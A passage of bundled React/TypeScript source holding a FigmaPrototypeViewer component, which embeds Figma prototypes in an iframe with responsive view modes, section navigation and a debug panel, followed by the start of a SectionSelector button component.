console.error(\"Error caught by ErrorBoundary:\", error, errorInfo)\n  }\n\n  render() {\n    if (this.state.hasError) {\n      return this.props.fallback\n    }\n\n    return this.props.children\n  }\n}\n","\"use client\"\n\nimport React, { useState, useRef, useEffect, useCallback, useMemo } from 'react'\nimport { cn } from '../../utils/cn'\nimport { fetchPriorityProp } from '../../utils/fetch-priority'\nimport { Badge } from '../ui/badge'\nimport { SectionSelector, type SectionItem } from './section-selector'\n\n// ============================================================================\n// EXACT SPECIFICATIONS - NO LEGACY COMPATIBILITY\n// ============================================================================\n\n// 1. EXACT BREAKPOINTS\nconst DESKTOP_BREAKPOINT = 768 // px\n\n// 2. CONFIGURABLE CONTENT DIMENSIONS (externalized from .env.local and config)\nconst getContentDimensions = (config?: FigmaPrototypeViewerConfig) => {\n  // Default dimensions\n  const defaultMobile = { width: 343, height: 600 }\n  const defaultDesktop = { width: 944, height: 600 }\n  \n  // Environment variables take highest priority\n  const envMobileWidth = process.env.NEXT_PUBLIC_FIGMA_MOBILE_WIDTH ? parseInt(process.env.NEXT_PUBLIC_FIGMA_MOBILE_WIDTH) : null\n  const envMobileHeight = process.env.NEXT_PUBLIC_FIGMA_MOBILE_HEIGHT ? parseInt(process.env.NEXT_PUBLIC_FIGMA_MOBILE_HEIGHT) : null\n  const envDesktopWidth = process.env.NEXT_PUBLIC_FIGMA_DESKTOP_WIDTH ? parseInt(process.env.NEXT_PUBLIC_FIGMA_DESKTOP_WIDTH) : null\n  const envDesktopHeight = process.env.NEXT_PUBLIC_FIGMA_DESKTOP_HEIGHT ? parseInt(process.env.NEXT_PUBLIC_FIGMA_DESKTOP_HEIGHT) : null\n  \n  // Resolve mobile dimensions (env vars > config > defaults)\n  const mobileWidth = envMobileWidth ?? config?.mobileContentDimensions?.width ?? defaultMobile.width\n  const mobileHeight = envMobileHeight ?? config?.mobileContentDimensions?.height ?? defaultMobile.height\n  \n  // Resolve desktop dimensions (env vars > config > defaults)\n  const desktopWidth = envDesktopWidth ?? config?.desktopContentDimensions?.width ?? defaultDesktop.width\n  const desktopHeight = envDesktopHeight ?? config?.desktopContentDimensions?.height ?? defaultDesktop.height\n  \n  return {\n    mobile: { width: mobileWidth, height: mobileHeight },\n    desktop: { width: desktopWidth, height: desktopHeight }\n  } as const\n}\n\n// 3. VIEW MODES\ntype ViewMode = 'DESKTOP' | 'MOBILE' | 'MOBILE_TOUCH'\n\n// 4. IFRAME STATES\ntype IframeState = \n  | 'INITIAL'      // Not loaded yet\n  | 'LOADING'      // Loading in progress  \n  | 'READY'        // Fully loaded and functional\n  | 'RELOADING'    // Reloading due to device change\n  | 'SLEEP_RECOVERY' // Recovering from phone sleep\n\n// 5. UNIFIED STATE INTERFACE\ninterface UnifiedState {\n  // Core States\n  viewMode: ViewMode\n  iframeState: IframeState\n  \n  // Device Detection\n  screenWidth: number\n  isTouchDevice: boolean\n  \n  // Scaling & Layout\n  scaling: {\n    scale: number\n    marginX: number\n    marginY: number\n    scaledDimensions: { width: number, height: number }\n  }\n  \n  // UI Control States\n  showSectionSelector: boolean\n  showIframe: boolean\n  showSkeleton: boolean\n  showTouchOverlay: boolean\n  showTouchBadge: boolean\n  sectionsDisabled: boolean\n  \n  // Navigation State\n  activeSection: string\n  isNavigating: boolean\n  \n  // Figma Integration\n  isInitialized: boolean\n  currentNodeId: string | null\n  embedUrl: string\n  iframeKey: number\n}\n\n// ============================================================================\n// CORE INTERFACES\n// ============================================================================\n\nexport interface FigmaPrototypeSection {\n  id: string\n  number: string\n  title: string\n  description?: string\n  startingNodeId: string\n  mobileStartingNodeId?: string\n}\n\nexport interface FigmaPrototypeViewerConfig {\n  // File configuration - can specify different files for mobile/desktop\n  fileKey?: string              // Legacy: single file for both (deprecated)\n  mobileFileKey?: string        // Separate mobile Figma file key\n  desktopFileKey?: string       // Separate desktop Figma file key\n  \n  title: string\n  sections: FigmaPrototypeSection[]\n  className?: string\n  iframeClassName?: string\n  controlsClassName?: string\n  activeControlClassName?: string\n  defaultSectionId?: string\n  height?: string\n  onSectionChange?: (sectionId: string) => void\n  \n  // Starting points - can be overridden by environment variables\n  mobileStartingPoint?: string  // Default mobile starting point\n  desktopStartingPoint?: string // Default desktop starting point\n  \n  // Content dimensions - can be overridden by environment variables\n  mobileContentDimensions?: { width: number; height: number }   // Mobile content size\n  desktopContentDimensions?: { width: number; height: number }  // Desktop content size\n  \n  hideControls?: boolean\n}\n\ninterface FigmaPrototypeViewerProps {\n  config: FigmaPrototypeViewerConfig\n  activeSection?: string\n  onSectionClick?: (sectionId: string) => void\n}\n\n// Figma Events\ntype FigmaEventType = 'INITIAL_LOAD' | 'NEW_STATE' | 'PRESENTED_NODE_CHANGED'\n\ninterface FigmaEvent {\n  type: FigmaEventType\n  data?: {\n    presentedNodeId?: string\n    [key: string]: any\n  }\n}\n\ninterface FigmaNavigationCommand {\n  type: 'NAVIGATE_TO_FRAME_AND_CLOSE_OVERLAYS'\n  data: { nodeId: string }\n}\n\n// ============================================================================\n// CORE CALCULATION FUNCTIONS\n// ============================================================================\n\n/**\n * Determines the current view mode based on screen size and touch capability\n */\nfunction getViewMode(screenWidth: number, isTouchDevice: boolean): ViewMode {\n  if (screenWidth >= DESKTOP_BREAKPOINT && !isTouchDevice) {\n    return 'DESKTOP'\n  } else if (screenWidth < DESKTOP_BREAKPOINT && !isTouchDevice) {\n    return 'MOBILE'\n  } else {\n    return 'MOBILE_TOUCH'\n  }\n}\n\n/**\n * Calculates optimal scaling and positioning for iframe content\n */\nfunction calculateScaling(\n  viewMode: ViewMode, \n  containerDimensions: { width: number, height: number },\n  config?: FigmaPrototypeViewerConfig\n) {\n  const contentDimensions = getContentDimensions(config)\n  const contentSize = viewMode === 'DESKTOP' \n    ? contentDimensions.desktop \n    : contentDimensions.mobile\n    \n  const scaleX = containerDimensions.width / contentSize.width\n  const scaleY = containerDimensions.height / contentSize.height\n  const scale = Math.min(scaleX, scaleY, 1) // Never scale up, only down\n  \n  // Calculate margins for centering\n  const scaledWidth = contentSize.width * scale\n  const scaledHeight = contentSize.height * scale\n  const marginX = (containerDimensions.width - scaledWidth) / 2\n  const marginY = (containerDimensions.height - scaledHeight) / 2\n  \n  return {\n    scale,\n    marginX: Math.max(marginX, 4), // Very minimal margin to reduce white space\n    marginY: Math.max(marginY, 0), // Allow zero top margin to push content up\n    scaledDimensions: { width: scaledWidth, height: scaledHeight }\n  }\n}\n\n/**\n * Resolves the appropriate file key based on viewMode and environment variables\n */\nfunction resolveFileKey(config: FigmaPrototypeViewerConfig, viewMode: ViewMode): string {\n  // Check environment variables first (highest priority)\n  if (viewMode === 'DESKTOP') {\n    const envDesktopFileKey = process.env.NEXT_PUBLIC_FIGMA_DESKTOP_FILE_KEY\n    if (envDesktopFileKey) return envDesktopFileKey\n    \n    // Fall back to config\n    if (config.desktopFileKey) return config.desktopFileKey\n  } else {\n    const envMobileFileKey = process.env.NEXT_PUBLIC_FIGMA_MOBILE_FILE_KEY\n    if (envMobileFileKey) return envMobileFileKey\n    \n    // Fall back to config\n    if (config.mobileFileKey) return config.mobileFileKey\n  }\n  \n  // Legacy fallback to single fileKey\n  if (config.fileKey) return config.fileKey\n  \n  // Throw error if no file key found\n  throw new Error(`No Figma file key found for ${viewMode} mode. Please set NEXT_PUBLIC_FIGMA_${viewMode}_FILE_KEY or provide ${viewMode.toLowerCase()}FileKey in config.`)\n}\n\n/**\n * Resolves the starting point node ID based on viewMode, environment variables, and config\n */\nfunction resolveStartingPoint(config: FigmaPrototypeViewerConfig, viewMode: ViewMode, section?: FigmaPrototypeSection): string {\n  // If a specific section is provided, use its starting node\n  if (section) {\n    if (viewMode !== 'DESKTOP' && section.mobileStartingNodeId) {\n      return section.mobileStartingNodeId\n    }\n    return section.startingNodeId\n  }\n  \n  // Check environment variables for default starting points (highest priority)\n  if (viewMode === 'DESKTOP') {\n    const envDesktopStarting = process.env.NEXT_PUBLIC_FIGMA_DESKTOP_STARTING_POINT\n    if (envDesktopStarting) return envDesktopStarting\n    \n    // Fall back to config\n    if (config.desktopStartingPoint) return config.desktopStartingPoint\n  } else {\n    const envMobileStarting = process.env.NEXT_PUBLIC_FIGMA_MOBILE_STARTING_POINT\n    if (envMobileStarting) return envMobileStarting\n    \n    // Fall back to config\n    if (config.mobileStartingPoint) return config.mobileStartingPoint\n  }\n  \n  // Final fallback to first section\n  const firstSection = config.sections[0]\n  if (firstSection) {\n    return resolveStartingPoint(config, viewMode, firstSection)\n  }\n  \n  throw new Error(`No starting point found for ${viewMode} mode. Please set NEXT_PUBLIC_FIGMA_${viewMode}_STARTING_POINT or provide ${viewMode.toLowerCase()}StartingPoint in config.`)\n}\n\n/**\n * Generates Figma embed URL with exact parameters\n */\nfunction generateEmbedUrl(\n  config: FigmaPrototypeViewerConfig,\n  viewMode: ViewMode,\n  startingNodeId: string,\n  clientId: string\n): string {\n  const fileKey = resolveFileKey(config, viewMode)\n  const embedHost = typeof window !== 'undefined' \n    ? window.location.hostname \n    : 'localhost'\n    \n  const params = new URLSearchParams({\n    'node-id': startingNodeId.replace(':', '-'),\n    'client-id': clientId,\n    'embed-host': embedHost,\n    'hide-ui': '1',\n    'hotspot-hints': '0',\n    'scaling': viewMode === 'DESKTOP' ? 'scale-down-width' : 'scale-down', // Change to scale-down for mobile\n    'starting-point-node-id': startingNodeId.replace(':', '-'),\n    'mode': 'prototype',\n    'chrome': 'DOCUMENTATION'\n  })\n  \n  return `https://embed.figma.com/proto/${fileKey}?${params.toString()}`\n}\n\n// ============================================================================\n// UNIFIED DRAWING FUNCTION\n// ============================================================================\n\n/**\n * Unified drawing function that renders all UI elements based on current state\n */\nfunction renderUnifiedUI(state: UnifiedState, handlers: {\n  onSectionClick: (sectionId: string) => void\n  onTouchStart: (e: React.TouchEvent) => void\n}, config: FigmaPrototypeViewerConfig, iframeRef: React.RefObject<HTMLIFrameElement>) {\n  const {\n    viewMode,\n    showSectionSelector,\n    showIframe,\n    showSkeleton,\n    showTouchOverlay,\n    showTouchBadge,\n    sectionsDisabled,\n    embedUrl,\n    iframeKey\n  } = state\n\n  return (\n    <div className={cn(\n      config.hideControls ? '' : 'grid grid-cols-1 lg:grid-cols-[296px_1fr] gap-10', \n      config.className\n    )}>\n      {/* Section Controls */}\n      {showSectionSelector && !config.hideControls && (\n        <div style={{ zIndex: 10 }}>\n          <SectionSelector\n            sections={config.sections.map(section => ({\n              id: section.id,\n              title: section.title,\n              description: section.description,\n              number: section.number\n            } as SectionItem))}\n            activeSection={state.activeSection}\n            onSectionChange={handlers.onSectionClick}\n            disabled={sectionsDisabled}\n            className={cn('relative', config.controlsClassName)}\n            buttonClassName={config.controlsClassName}\n            activeButtonClassName={config.activeControlClassName}\n            layout=\"vertical\"\n            minHeight={viewMode !== 'DESKTOP' ? \"76px\" : \"96px\"}\n          />\n        </div>\n      )}\n\n      {/* Figma Container */}\n      <div \n        className={cn(\n          'relative w-full rounded-lg overflow-hidden border border-ods-border',\n          // viewMode === 'DESKTOP' && 'border border-ods-border',\n          config.iframeClassName\n        )}\n        style={{ \n          height: viewMode === 'DESKTOP' \n            ? (config.height || '800px') \n            : (() => {\n                const contentDimensions = getContentDimensions(config)\n                const mobileHeight = contentDimensions.mobile.height\n                // Use content height + some padding, but respect viewport limits\n                const calculatedHeight = Math.max(mobileHeight + 100, 400) // minimum 400px\n                return `${Math.min(calculatedHeight, window?.innerHeight * 0.85 || 650)}px`\n              })(),\n          minHeight: viewMode === 'DESKTOP' ? 'auto' : (() => {\n            const contentDimensions = getContentDimensions(config)\n            return `${Math.max(contentDimensions.mobile.height, 400)}px`\n          })(),\n          maxHeight: viewMode === 'DESKTOP' ? 'none' : (() => {\n            const contentDimensions = getContentDimensions(config)\n            return `${contentDimensions.mobile.height + 200 }px`\n          })(),\n          border: viewMode === 'DESKTOP' ? undefined : 'none'\n        }}\n      >\n        {/* Touch Overlay - Only for MOBILE_TOUCH mode */}\n        {showTouchOverlay && (\n          <div\n            className=\"absolute inset-0 w-full h-full\"\n            data-touch-overlay=\"true\"\n            style={{\n              pointerEvents: 'auto',\n              touchAction: 'pan-y pinch-zoom',\n              zIndex: 2,\n              background: 'transparent',\n              position: 'absolute',\n              top: 0,\n              left: 0,\n              right: 0,\n              bottom: 0\n            }}\n            onTouchStart={handlers.onTouchStart}\n          />\n        )}\n\n        {/* Touch Badge - Only for MOBILE_TOUCH mode */}\n        {showTouchBadge && (\n          <div \n            className=\"absolute z-10 bottom-4 left-4\"\n          >\n            <Badge variant=\"secondary\" className=\"bg-ods-overlay text-ods-text-on-dark backdrop-blur-sm\">\n              Tap twice to click\n            </Badge>\n          </div>\n        )}\n\n        {/* Figma Iframe */}\n        <iframe\n          ref={iframeRef}\n          key={iframeKey}\n          src={embedUrl}\n          className=\"border-0 w-full h-full\"\n          style={{ \n            background: 'transparent',\n            zIndex: 1,\n            display: showIframe ? 'block' : 'none',\n            visibility: showIframe ? 'visible' : 'hidden',\n            // Let Figma handle all scaling internally\n            width: '100%',\n            height: '100%',\n            transform: 'none',\n            // Remove any default iframe styling\n            border: 'none',\n            outline: 'none',\n            overflow: 'hidden'\n          }}\n          allow=\"clipboard-write; clipboard-read; fullscreen\"\n          referrerPolicy=\"no-referrer\"\n          sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation\"\n          title={config.title}\n          loading=\"eager\"\n          {...fetchPriorityProp('high')}\n        />\n\n        {/* Loading Skeleton */}\n        {showSkeleton && (\n          <div className=\"absolute inset-0 w-full h-full bg-ods-skeleton animate-pulse rounded-lg z-10 flex items-center justify-center\">\n            <div className=\"text-center\">\n              <div className=\"text-h2 text-ods-text-primary\">\n                Warming up <span className=\"text-ods-open-yellow\">Fae</span> and <span className=\"text-ods-open-yellow\">Mingo</span>\n              </div>\n              <div className=\"mt-2 text-h6 text-ods-text-secondary\">\n                Loading AI Co-Pilots...\n              </div>\n            </div>\n          </div>\n        )}\n      </div>\n    </div>\n  )\n}\n\n// ============================================================================\n// MAIN COMPONENT\n// ============================================================================\n\nexport const FigmaPrototypeViewer: React.FC<FigmaPrototypeViewerProps> = ({ \n  config,\n  activeSection: externalActiveSection,\n  onSectionClick: externalOnSectionClick \n}) => {\n  // Environment & Client Setup\n  const clientId = process.env.NEXT_PUBLIC_FIGMA_CLIENT_ID || 'UTQPwZHR9OZp68TTGPFFi5'\n  const showDebugPanel = process.env.NEXT_PUBLIC_FIGMA_DEBUG === 'true'\n  \n  // Refs\n  const iframeRef = useRef<HTMLIFrameElement>(null)\n  const containerRef = useRef<HTMLDivElement>(null)\n  const navTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null)\n  const touchTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null)\n  \n  // Device Detection State\n  const [screenWidth, setScreenWidth] = useState(\n    typeof window !== 'undefined' ? window.innerWidth : DESKTOP_BREAKPOINT\n  )\n  \n  // Simple, reliable touch detection\n  const [isTouchDevice, setIsTouchDevice] = useState(() => {\n    if (typeof window === 'undefined') return false\n    // Most reliable method: check if touch events are supported\n    return 'ontouchstart' in window\n  })\n  \n  // Iframe Management State\n  const [iframeState, setIframeState] = useState<IframeState>('INITIAL')\n  const [iframeKey, setIframeKey] = useState(0)\n  const [isInitialized, setIsInitialized] = useState(false)\n  const [currentNodeId, setCurrentNodeId] = useState<string | null>(null)\n  \n  // Navigation State\n  const [internalActiveSection, setInternalActiveSection] = useState<string>(\n    config.defaultSectionId || config.sections[0]?.id || ''\n  )\n  const activeSection = externalActiveSection || internalActiveSection\n  const [isNavigating, setIsNavigating] = useState(false)\n  \n  // Container Dimensions for Scaling\n  const [containerDimensions, setContainerDimensions] = useState({ width: 1200, height: 800 })\n  \n  // Calculate Current View Mode\n  const viewMode = useMemo(() => \n    getViewMode(screenWidth, isTouchDevice), \n    [screenWidth, isTouchDevice]\n  )\n  \n  // Calculate Scaling\n  const scaling = useMemo(() => \n    calculateScaling(viewMode, containerDimensions, config),\n    [viewMode, containerDimensions, config]\n  )\n  \n  // Generate Embed URL\n  const embedUrl = useMemo(() => {\n    try {\n      const startingNodeId = resolveStartingPoint(config, viewMode)\n      return generateEmbedUrl(config, viewMode, startingNodeId, clientId)\n    } catch (error) {\n      console.error('[FigmaPrototypeViewer] Failed to generate embed URL:', error)\n      return ''\n    }\n  }, [config, viewMode, clientId])\n  \n  // Create Unified State\n  const unifiedState: UnifiedState = useMemo(() => ({\n    viewMode,\n    iframeState,\n    screenWidth,\n    isTouchDevice,\n    scaling,\n    showSectionSelector: true,\n    showIframe: iframeState === 'READY',\n    showSkeleton: iframeState !== 'READY',\n    showTouchOverlay: viewMode === 'MOBILE_TOUCH' && iframeState === 'READY',\n    showTouchBadge: viewMode === 'MOBILE_TOUCH' && iframeState === 'READY',\n    sectionsDisabled: iframeState !== 'READY' || isNavigating,\n    activeSection,\n    isNavigating,\n    isInitialized,\n    currentNodeId,\n    embedUrl,\n    iframeKey\n  }), [\n    viewMode, iframeState, screenWidth, isTouchDevice, scaling, \n    activeSection, isNavigating, isInitialized, currentNodeId, embedUrl, iframeKey\n  ])\n  \n  // ============================================================================\n  // EVENT HANDLERS\n  // ============================================================================\n  \n  // Window Resize Handler\n  useEffect(() => {\n    const handleResize = () => {\n      const newWidth = window.innerWidth\n      setScreenWidth(newWidth)\n      \n      // Update container dimensions\n      if (containerRef.current) {\n        const rect = containerRef.current.getBoundingClientRect()\n        setContainerDimensions({ width: rect.width, height: rect.height })\n      }\n    }\n    \n    // Initial measurement\n    handleResize()\n    \n    window.addEventListener('resize', handleResize)\n    return () => window.removeEventListener('resize', handleResize)\n  }, [])\n  \n  // Touch device detection is now done once at initialization for consistency\n  \n  // View Mode Change Handler (triggers iframe reload)\n  const [lastViewMode, setLastViewMode] = useState(viewMode)\n  useEffect(() => {\n    if (lastViewMode !== viewMode && iframeState === 'READY') {\n      console.log('[ViewMode Change]', lastViewMode, '→', viewMode)\n      setIframeState('RELOADING')\n      setIframeKey(prev => prev + 1)\n    }\n    setLastViewMode(viewMode)\n  }, [viewMode, lastViewMode, iframeState])\n  \n  // Visibility Change Handler (phone sleep recovery)\n  useEffect(() => {\n    const handleVisibilityChange = () => {\n      if (document.visibilityState === 'visible' && iframeState === 'READY') {\n        console.log('[Sleep Recovery] Reloading iframe after sleep')\n        setIframeState('SLEEP_RECOVERY')\n        setIframeKey(prev => prev + 1)\n      }\n    }\n    \n    document.addEventListener('visibilitychange', handleVisibilityChange)\n    return () => document.removeEventListener('visibilitychange', handleVisibilityChange)\n  }, [iframeState])\n  \n  // Figma Event Handler\n  useEffect(() => {\n    const handleMessage = (event: MessageEvent) => {\n      if (event.origin !== 'https://www.figma.com') return\n      \n      const validEvents: FigmaEventType[] = ['INITIAL_LOAD', 'NEW_STATE', 'PRESENTED_NODE_CHANGED']\n      \n      if (event.data?.type && validEvents.includes(event.data.type)) {\n        const figmaEvent = event.data as FigmaEvent\n        \n        console.log('[Figma Event]', figmaEvent.type, viewMode)\n        \n        switch (figmaEvent.type) {\n          case 'INITIAL_LOAD':\n          case 'NEW_STATE':\n            setIsInitialized(true)\n            setIframeState('READY')\n            break\n            \n          case 'PRESENTED_NODE_CHANGED':\n            if (figmaEvent.data?.presentedNodeId) {\n              setCurrentNodeId(figmaEvent.data.presentedNodeId)\n              \n              // Auto-sync active section if not manually navigating\n              if (!isNavigating) {\n                const matchingSection = config.sections.find(s => {\n                  const desktopMatch = s.startingNodeId === figmaEvent.data?.presentedNodeId ||\n                                    s.startingNodeId.replace(':', '-') === figmaEvent.data?.presentedNodeId\n                  const mobileMatch = s.mobileStartingNodeId === figmaEvent.data?.presentedNodeId ||\n                                    s.mobileStartingNodeId?.replace(':', '-') === figmaEvent.data?.presentedNodeId\n                  return desktopMatch || mobileMatch\n                })\n                \n                if (matchingSection && matchingSection.id !== activeSection) {\n                  if (!externalActiveSection) {\n                    setInternalActiveSection(matchingSection.id)\n                  }\n                  config.onSectionChange?.(matchingSection.id)\n                }\n              }\n            }\n            break\n        }\n      }\n    }\n    \n    window.addEventListener('message', handleMessage)\n    return () => window.removeEventListener('message', handleMessage)\n  }, [config.sections, activeSection, isNavigating, externalActiveSection, config.onSectionChange, viewMode])\n  \n  // Navigation Function\n  const navigateToSection = useCallback((sectionId: string) => {\n    const section = config.sections.find(s => s.id === sectionId)\n    if (!section || !iframeRef.current?.contentWindow || !isInitialized) {\n      return\n    }\n    \n    setIsNavigating(true)\n    \n    // Use resolver to get the correct node ID for this section\n    const nodeId = resolveStartingPoint(config, viewMode, section)\n    \n    // Update active section\n    if (!externalActiveSection) {\n      setInternalActiveSection(sectionId)\n    }\n    config.onSectionChange?.(sectionId)\n    \n    // Send Figma command\n    const command: FigmaNavigationCommand = {\n      type: 'NAVIGATE_TO_FRAME_AND_CLOSE_OVERLAYS',\n      data: { nodeId }\n    }\n    \n    try {\n      iframeRef.current.contentWindow.postMessage(command, 'https://www.figma.com')\n      console.log('[Navigation]', sectionId, '→', nodeId, viewMode)\n    } catch (error) {\n      console.error('[Navigation Error]', error)\n    }\n    \n    // Reset navigation flag (tracked via ref for cleanup on unmount)\n    if (navTimerRef.current) clearTimeout(navTimerRef.current)\n    navTimerRef.current = setTimeout(() => setIsNavigating(false), 500)\n  }, [config, isInitialized, viewMode, externalActiveSection])\n  \n  // Section Click Handler\n  const handleSectionClick = useCallback((sectionId: string) => {\n    const sectionsDisabled = iframeState !== 'READY' || isNavigating\n    \n    if (sectionId === activeSection || sectionsDisabled) {\n      return\n    }\n    \n    if (externalOnSectionClick) {\n      externalOnSectionClick(sectionId)\n    } else {\n      navigateToSection(sectionId)\n    }\n  }, [activeSection, iframeState, isNavigating, externalOnSectionClick, navigateToSection])\n  \n  // Touch Handler for Mobile Touch Mode\n  const handleTouchStart = useCallback((e: React.TouchEvent) => {\n    // Simple approach: on any touch, disable overlay for longer to allow normal interaction,\n    // then re-enable for scrolling\n    const overlayElement = e.currentTarget as HTMLElement\n    \n    console.log('[Touch] Touch detected, allowing iframe interaction')\n    \n    // Disable overlay to allow touch to pass through to iframe\n    overlayElement.style.pointerEvents = 'none'\n    \n    // Re-enable overlay after interaction window (tracked via ref for cleanup on unmount)\n    if (touchTimerRef.current) clearTimeout(touchTimerRef.current)\n    touchTimerRef.current = setTimeout(() => {\n      if (overlayElement && overlayElement.style.pointerEvents === 'none') {\n        overlayElement.style.pointerEvents = 'auto'\n        console.log('[Touch] Overlay re-enabled for scrolling')\n      }\n    }, 500)\n  }, [])\n  \n  // External Active Section Change\n  useEffect(() => {\n    if (externalActiveSection && externalActiveSection !== activeSection && isInitialized) {\n      navigateToSection(externalActiveSection)\n    }\n  }, [externalActiveSection, activeSection, isInitialized, navigateToSection])\n  \n  // Cleanup all pending timers on unmount\n  useEffect(() => {\n    return () => {\n      if (navTimerRef.current) clearTimeout(navTimerRef.current)\n      if (touchTimerRef.current) clearTimeout(touchTimerRef.current)\n    }\n  }, [])\n\n  // ============================================================================\n  // RENDER\n  // ============================================================================\n  \n  return (\n    <div ref={containerRef}>\n      {renderUnifiedUI(unifiedState, {\n        onSectionClick: handleSectionClick,\n        onTouchStart: handleTouchStart\n      }, config, iframeRef as React.RefObject<HTMLIFrameElement>)}\n      \n      {/* Debug Panel */}\n      {showDebugPanel && (\n        <div className=\"mt-6 p-4 bg-ods-card border border-ods-border rounded-md\">\n          <h3 className=\"text-h3 text-ods-text-primary mb-3\">🔍 Debug Panel</h3>\n\n          <div className=\"grid grid-cols-2 gap-4 text-h6\">\n            <div>\n              <span className=\"text-ods-text-secondary\">View Mode:</span>{' '}\n              <span className=\"text-ods-text-primary font-mono\">{viewMode}</span>\n            </div>\n            <div>\n              <span className=\"text-ods-text-secondary\">Iframe State:</span>{' '}\n              <span className=\"text-ods-text-primary font-mono\">{iframeState}</span>\n            </div>\n            <div>\n              <span className=\"text-ods-text-secondary\">Screen:</span>{' '}\n              <span className=\"text-ods-text-primary\">{screenWidth}px</span>\n            </div>\n            <div>\n              <span className=\"text-ods-text-secondary\">Touch:</span>{' '}\n              <span className=\"text-ods-text-primary\">{isTouchDevice ? 'Yes' : 'No'}</span>\n            </div>\n            <div>\n              <span className=\"text-ods-text-secondary\">Scale:</span>{' '}\n              <span className=\"text-ods-text-primary\">{scaling.scale.toFixed(2)}</span>\n            </div>\n            <div>\n              <span className=\"text-ods-text-secondary\">Section:</span>{' '}\n              <span className=\"text-ods-text-primary\">{activeSection}</span>\n            </div>\n            <div className=\"col-span-2\">\n              <span className=\"text-ods-text-secondary\">Active Node ID:</span>{' '}\n              <span className=\"text-ods-text-primary font-mono\">\n                {currentNodeId || 'Not detected'}\n              </span>\n            </div>\n          </div>\n          \n          <div className=\"mt-3 text-h6 text-ods-text-secondary\">\n            Margins: {scaling.marginX.toFixed(0)}px × {scaling.marginY.toFixed(0)}px\n          </div>\n          \n          {/* Additional debug info */}\n          <div className=\"mt-3 pt-3 border-t border-ods-border\">\n            <div className=\"text-h6 text-ods-text-secondary space-y-1\">\n              <div>\n                <span className=\"text-ods-text-secondary\">File Key:</span>{' '}\n                <span className=\"text-ods-text-primary font-mono\">\n                  {(() => {\n                    try {\n                      return resolveFileKey(config, viewMode)\n                    } catch (e) {\n                      return 'Error'\n                    }\n                  })()}\n                </span>\n              </div>\n              <div>\n                <span className=\"text-ods-text-secondary\">Starting Point:</span>{' '}\n                <span className=\"text-ods-text-primary font-mono\">\n                  {(() => {\n                    try {\n                      return resolveStartingPoint(config, viewMode)\n                    } catch (e) {\n                      return 'Error'\n                    }\n                  })()}\n                </span>\n              </div>\n              <div>\n                <span className=\"text-ods-text-secondary\">Content Dimensions:</span>{' '}\n                <span className=\"text-ods-text-primary font-mono\">\n                  {(() => {\n                    try {\n                      const dims = getContentDimensions(config)\n                      const current = viewMode === 'DESKTOP' ? dims.desktop : dims.mobile\n                      return `${current.width}x${current.height}`\n                    } catch (e) {\n                      return 'Error'\n                    }\n                  })()}\n                </span>\n              </div>\n            </div>\n          </div>\n        </div>\n      )}\n    </div>\n  )\n}\n\nexport default FigmaPrototypeViewer","\"use client\"\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Button } from '../ui/button'\nimport { StatusBadge } from '../ui/status-badge'\n\nexport interface SectionItem {\n  id: string\n  title: string\n  subtitle?: string\n  description?: string\n  number?: string\n  disabled?: boolean\n  leftIcon?: React.ReactNode\n  badge?: {\n    text: string\n    variant?: 'card' | 'button'\n    colorScheme?: 'cyan' | 'pink' | 'yellow' | 'green' | 'purple' | 'default'\n  }\n  screenshots?: {\n    src: string\n    alt: string\n    position: 'left' | 'center' | 'right'\n  }[]\n}\n\nexport interface SectionSelectorProps {\n  sections: SectionItem[]\n  activeSection: string\n  onSectionChange: (sectionId: string) => void\n  disabled?: boolean\n  className?: string\n  buttonClassName?: string\n  activeButtonClassName?: string\n  layout?: 'vertical' | 'wrap'\n  buttonWidth?: 'auto' | 'full' | 'responsive'\n  minHeight?: string\n  showDescription?: boolean\n}\n\n// Button component for consistency\nconst SectionButton: React.FC<{\n  section: SectionItem\n  isActive: boolean\n  disabled: boolean\n  onClick: () => void\n  layout: 'vertical' | 'wrap'\n  widthClasses: string\n  buttonClassName?: string\n  activeButtonClassName?: string\n  minHeight?: string\n  showDescription?: boolean\n}> = ({\n  section,\n  isActive,\n  disabled,\n  onClick,\n  layout,\n  widthClasses,\n  buttonClassName,\n  activeButtonClassName,\n  minHeight = layout === 'vertical' ? '96px' : '76px',\n  showDescription = true\n}) => {\n  const titleClasses = \"text-ods-text-primary\"\n  const subtitleClasses = \"text-ods-text-secondary\"\n  const numberClasses = \"text-ods-accent\"\n\n  const isDisabled = section.disabled || disabled;\n\n  return (\n    <Button\n      onClick={onClick}\n      disabled={isDisabled}\n      variant=\"outline\"\n      className={cn(\n        'bg-ods-card shadow-ods-card !text-left !justify-start !items-start hover:bg-ods-card-hover',\n        isActive && 'border-ods-accent',\n        widthClasses,\n        buttonClassName,\n        isActive && activeButtonClassName,\n        layout === 'vertical' ? '!h-auto !py-4 !px-4 !min-h-[80px]' : '!text-left !whitespace-normal !h-auto !min-h-[76px]'\n      )}\n      style={{\n        minHeight,\n        touchAction: 'manipulation',\n        WebkitTapHighlightColor: 'transparent',\n        textAlign: 'left',\n        justifyContent: 'flex-start',\n        alignItems: 'flex-start'\n      }}\n    >\n      {layout === 'vertical' ? (\n        // Vertical layout with optional number prefix and leftIcon\n        <div className=\"flex gap-3 items-start w-full\">\n          {section.leftIcon && (\n            <div className=\"shrink-0 text-ods-text-primary opacity-70 mt-0.5\">\n              {section.leftIcon}\n            </div>\n          )}\n          {section.number && (\n            <span className={cn(numberClasses, 'text-h3 shrink-0')}>\n              {section.number}\n            </span>\n          )}\n          <div className=\"flex-1 text-left min-w-0\">\n            <div className=\"flex items-center gap-2 flex-wrap\">\n              <p className={cn(titleClasses, 'text-h4 whitespace-normal break-words')}>\n                {section.title}\n              </p>\n              {section.badge && (\n                <StatusBadge\n                  text={section.badge.text}\n                  variant={section.badge.variant || 'button'}\n                  colorScheme={section.badge.colorScheme || 'default'}\n                />\n              )}\n            </div>\n            {section.description && showDescription && (\n              <p className={cn(subtitleClasses, 'text-h6 mt-1 whitespace-normal break-words')}>\n                {section.description}\n              </p>\n            )}\n          </div>\n        </div>\n      ) : (\n        // Wrap layout with title, subtitle, and optional leftIcon\n        <div className=\"flex gap-3 items-start justify-start w-full h-full\" style={{ textAlign: 'left' }}>\n          {section.leftIcon && (\n            <div className=\"shrink-0 text-ods-text-primary opacity-70 mt-0.5\">\n              {section.leftIcon}\n            </div>\n          )}\n          <div className=\"flex flex-col items-start justify-start flex-1 gap-1\">\n            <div className=\"flex items-start gap-2 flex-wrap w-full\">\n              <span 